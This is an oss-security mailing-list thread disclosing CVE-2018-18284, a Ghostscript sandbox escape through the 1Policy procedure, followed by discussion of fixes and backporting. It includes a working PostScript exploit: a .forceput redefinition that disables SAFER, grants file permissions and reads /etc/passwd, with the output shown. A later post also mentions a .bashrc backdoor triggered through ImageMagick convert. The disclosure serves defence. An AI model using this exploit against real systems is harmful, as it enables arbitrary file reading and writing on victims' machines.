[oss-security] ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284

[Tavis Ormandy]

Hello, this <https://bugs.chromium.org/p/project-zero/issues/detail?id=1696>
is CVE-2018-18284, another ghostscript sandbox escape. Because procedures
in postscript are just executable arrays, all system procedures need to be
marked as executeonly, so that users cannot peek at their internals with
array operators.

We have also recently learned that they must be marked as pseudo-operators,
otherwise their contents might leak to error handlers.

That makes sense, unless the procedure itself is dangerous - in that case
it must be hidden.

1Policy is a procedure that was correctly marked as executeonly and made a
pseudo-operator, but was basically just a wrapper around .forceput. Here is
how to exploit it:

/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get
exec pop pop pop pop pop pop pop } def

Once you have access to .forceput, you can basically do whatever you want,
see the exploit for CVE-2018-17961 a full example of backdooring .bashrc.

Here is a simpler repro, just reading /etc/passwd:

$ gs -dSAFER -sDEVICE=ppmraw
GPL Ghostscript 9.25 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1
get exec pop pop pop pop pop pop pop } def
GS>systemdict /SAFER false .forceput
GS>systemdict /userparams get /PermitFileControl [(*)] .forceput
GS>systemdict /userparams get /PermitFileWriting [(*)] .forceput
GS>systemdict /userparams get /PermitFileReading [(*)] .forceput
GS>(/etc/passwd) (r) file 1024 string readline pop ==
(root:x:0:0:root:/root:/bin/bash)
GS>

This patch solves it:

http://git.ghostscript.com/?p=ghostpdl.git;h=8d19fdf63f91f50466b08f23e2d93d37a4c5ea0b

Side note: I'm done looking at ghostscript for now, but still *strongly*
recommend that we deprecate untrusted postscript and disable ghostscript
coders by default in policy.xml.

Thanks, Tavis.

[Perry E. Metzger]

Post by Tavis Ormandy
Side note: I'm done looking at ghostscript for now, but still
*strongly* recommend that we deprecate untrusted postscript and
disable ghostscript coders by default in policy.xml.

Again, given that PostScript is an archival format for a lot of
documents, wouldn't a version of ghostscript with all the ability to
do anything dangerous removed from the interpreter at compile time be
rational?

(And yes, it wouldn't be "standard" but I don't know that I
care much about that, and it would mean it would be safe to look at
30 year old PS documents that are often the only way to look at
some old academic paper. I look at such things at least a couple of
times a month. If Artifex isn't willing to do this, it's open
source, someone else should.)

Perry

[Tavis Ormandy]

Post by Perry E. Metzger

Post by Tavis Ormandy
Side note: I'm done looking at ghostscript for now, but still
*strongly* recommend that we deprecate untrusted postscript and
disable ghostscript coders by default in policy.xml.

Again, given that PostScript is an archival format for a lot of
documents, wouldn't a version of ghostscript with all the ability to
do anything dangerous removed from the interpreter at compile time be
rational?

We have to work with what we've got.

Even with the easy to exploit stuff compiled out (which upstream do not
support), I haven't been bothering to get CVE's for all the memory
corruption or UaF I've been reporting, because nobody can keep up with
these operator leaks anyway.

Tavis.

[Rich Felker]

Post by Tavis Ormandy

Post by Perry E. Metzger

Post by Tavis Ormandy
Side note: I'm done looking at ghostscript for now, but still
*strongly* recommend that we deprecate untrusted postscript and
disable ghostscript coders by default in policy.xml.

Again, given that PostScript is an archival format for a lot of
documents, wouldn't a version of ghostscript with all the ability to
do anything dangerous removed from the interpreter at compile time be
rational?

We have to work with what we've got.
Even with the easy to exploit stuff compiled out (which upstream do not
support), I haven't been bothering to get CVE's for all the memory
corruption or UaF I've been reporting, because nobody can keep up with
these operator leaks anyway.

An obvious fix for UaF's would be just removing the frees. Use of gs
as an interactive program where leaks would matter is a historical
curiosity; the only meaningful modern use is as a converter.

If someone insists there are still uses where freeing matters,
something like talloc may be a reasonable solution, removing all the
internal frees and only performing frees of the whole context.

Rich

[Bob Friesenhahn]

Post by Rich Felker

Post by Tavis Ormandy
Even with the easy to exploit stuff compiled out (which upstream do not
support), I haven't been bothering to get CVE's for all the memory
corruption or UaF I've been reporting, because nobody can keep up with
these operator leaks anyway.

An obvious fix for UaF's would be just removing the frees. Use of gs
as an interactive program where leaks would matter is a historical
curiosity; the only meaningful modern use is as a converter.

Memory allocations would build to extremely large values across
hundreds of rendered pages. Use of Ghostscript in interactive
programs is still surely common. Programs using libgs will inherit
any leaks. These leaks and other issues should be fixed.

Keep in mind that Ghostscript is also used to render/view PDF files.
When interactively viewing it is common to do just-in-time rendering.
Even for bulk conversions, conversion on a page-by-page basis will
save resources when dealing with many pages.

Alternatives do exist now for PDF due to Xpdf and the derived Poppler
project and Poppler has become heavily used.

Ghostscript is still more competent at rendering PDF than Poppler is.
Ghostscript is able to deal with CMYK color spaces, per-object
colorspaces, and transparency, and it is able to render to various
quality levels (bilevel, grayscale, RGB, RGBA, CMYK) depending on the
output driver selected.

Bob

[Hanno Böck]

On Tue, 16 Oct 2018 15:57:22 -0400

Post by Perry E. Metzger
Again, given that PostScript is an archival format for a lot of
documents, wouldn't a version of ghostscript with all the ability to
do anything dangerous removed from the interpreter at compile time be
rational?

I think nobody here will disagree with you that this would be good to
have.
The question is: Who's gonna do it? Will you?

[Perry E. Metzger]

Post by Hanno Böck
On Tue, 16 Oct 2018 15:57:22 -0400

Post by Perry E. Metzger
Again, given that PostScript is an archival format for a lot of
documents, wouldn't a version of ghostscript with all the ability
to do anything dangerous removed from the interpreter at compile
time be rational?

I think nobody here will disagree with you that this would be good
to have.
The question is: Who's gonna do it? Will you?

Good question. One obstacle for me is a lack of familiarity with the
codebase (which others here seem to have), but on the other hand, I
appear to have more motivation.

Perry

[Tavis Ormandy]

Apparently it wasn't clear that this allowed reading and writing of
arbitrary files, here is a full exploit (I just modified the CVE-2018-17961
exploit).

$ convert executeonly-bypass.pdf exploit.jpg
$ tail -1 ~/.bashrc
echo pwned by postscript


Thanks, Tavis.

Post by Tavis Ormandy
Hello, this
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1696> is
CVE-2018-18284, another ghostscript sandbox escape. Because procedures in
postscript are just executable arrays, all system procedures need to be
marked as executeonly, so that users cannot peek at their internals with
array operators.
We have also recently learned that they must be marked as
pseudo-operators, otherwise their contents might leak to error handlers.
That makes sense, unless the procedure itself is dangerous - in that case
it must be hidden.
1Policy is a procedure that was correctly marked as executeonly and made a
pseudo-operator, but was basically just a wrapper around .forceput. Here is
/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1
get exec pop pop pop pop pop pop pop } def
Once you have access to .forceput, you can basically do whatever you want,
see the exploit for CVE-2018-17961 a full example of backdooring .bashrc.
$ gs -dSAFER -sDEVICE=ppmraw
GPL Ghostscript 9.25 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1
get exec pop pop pop pop pop pop pop } def
GS>systemdict /SAFER false .forceput
GS>systemdict /userparams get /PermitFileControl [(*)] .forceput
GS>systemdict /userparams get /PermitFileWriting [(*)] .forceput
GS>systemdict /userparams get /PermitFileReading [(*)] .forceput
GS>(/etc/passwd) (r) file 1024 string readline pop ==
(root:x:0:0:root:/root:/bin/bash)
GS>
http://git.ghostscript.com/?p=ghostpdl.git;h=8d19fdf63f91f50466b08f23e2d93d37a4c5ea0b
Side note: I'm done looking at ghostscript for now, but still *strongly*
recommend that we deprecate untrusted postscript and disable ghostscript
coders by default in policy.xml.
Thanks, Tavis.

[Jordan Glover]

‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐

Apparently it wasn't clear that this allowed reading and writing of arbitrary files, here is a full exploit (I just modified the CVE-2018-17961 exploit).
$ convert executeonly-bypass.pdf exploit.jpg
$ tail -1 ~/.bashrc
echo pwned by postscript
Thanks, Tavis.

Do you know if upstream is going to make new release soon or distros should take the
pain and backport all of those themselves?

[Tavis Ormandy]

Post by Jordan Glover
Do you know if upstream is going to make new release soon or distros should take the
pain and backport all of those themselves?

AFAIK upstream only makes quarterly releases, so I think you need to
backport.

Tavis.

[Jordan Glover]

‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐

Post by Jordan Glover
Do you know if upstream is going to make new release soon or distros should take the
pain and backport all of those themselves?

AFAIK upstream only makes quarterly releases, so I think you need to backport.
Tavis.

In normal, boring times yes but 9.25 was available just 10 days after 9.24 as urgent security
release and it seems it was still not enough.

Jordan